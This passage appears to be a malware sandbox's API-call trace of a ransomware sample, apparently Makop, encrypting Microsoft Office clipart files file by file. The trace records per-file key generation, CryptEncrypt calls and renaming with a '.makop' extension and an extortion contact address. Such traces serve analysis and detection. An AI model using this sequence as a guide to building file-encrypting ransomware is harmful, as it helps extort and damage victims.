dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.480] GetProcessHeap () returned 0x48a0000 [0142.480] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.480] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0142.489] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.489] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.489] GetProcessHeap () returned 0x48a0000 [0142.490] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.490] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.490] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.490] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.490] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.490] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.490] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.491] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.491] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.491] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.491] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.492] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8b4, lpOverlapped=0x0) returned 1 [0142.492] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8c0) returned 1 [0142.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.492] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8c0, lpOverlapped=0x0) returned 1 [0142.492] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.492] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.492] SetEndOfFile (hFile=0xf0) returned 1 [0142.503] GetProcessHeap () returned 0x48a0000 [0142.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.503] GetProcessHeap () returned 0x48a0000 [0142.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.503] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.506] CloseHandle (hObject=0xf0) returned 1 [0142.506] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0142.506] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF") returned 63 [0142.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.515] GetProcessHeap () returned 0x48a0000 [0142.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.515] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.516] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0142.562] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.562] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.562] GetProcessHeap () returned 0x48a0000 [0142.562] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.563] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.563] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.563] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.563] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.563] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.563] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.563] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.564] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.564] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.564] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaf4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaf4, lpOverlapped=0x0) returned 1 [0142.564] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb00, dwBufLen=0xb00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb00) returned 1 [0142.564] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb00, lpOverlapped=0x0) returned 1 [0142.565] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.565] SetEndOfFile (hFile=0xf0) returned 1 [0142.572] GetProcessHeap () returned 0x48a0000 [0142.572] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.572] GetProcessHeap () returned 0x48a0000 [0142.572] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.572] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.634] CloseHandle (hObject=0xf0) returned 1 [0142.634] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0142.634] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF") returned 63 [0142.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.636] GetProcessHeap () returned 0x48a0000 [0142.636] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.636] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.636] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.636] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0142.642] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.642] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.642] GetProcessHeap () returned 0x48a0000 [0142.642] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.642] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.643] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.643] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.643] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.643] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.644] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.644] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.644] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.645] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5aa4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5aa4, lpOverlapped=0x0) returned 1 [0142.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ab0, dwBufLen=0x5ab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5ab0) returned 1 [0142.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5ab0, lpOverlapped=0x0) returned 1 [0142.665] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.665] SetEndOfFile (hFile=0xf0) returned 1 [0142.671] GetProcessHeap () returned 0x48a0000 [0142.671] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.671] GetProcessHeap () returned 0x48a0000 [0142.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.672] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.674] CloseHandle (hObject=0xf0) returned 1 [0142.674] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0142.674] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF") returned 63 [0142.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.676] GetProcessHeap () returned 0x48a0000 [0142.676] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.676] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.676] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.676] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.683] GetProcessHeap () returned 0x48a0000 [0142.683] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.683] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.683] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.684] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.684] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cf8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1cf8, lpOverlapped=0x0) returned 1 [0142.686] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d00, dwBufLen=0x1d00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d00) returned 1 [0142.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d00, lpOverlapped=0x0) returned 1 [0142.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.686] SetEndOfFile (hFile=0xf0) returned 1 [0142.694] GetProcessHeap () returned 0x48a0000 [0142.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.694] GetProcessHeap () returned 0x48a0000 [0142.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.696] CloseHandle (hObject=0xf0) returned 1 [0142.696] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 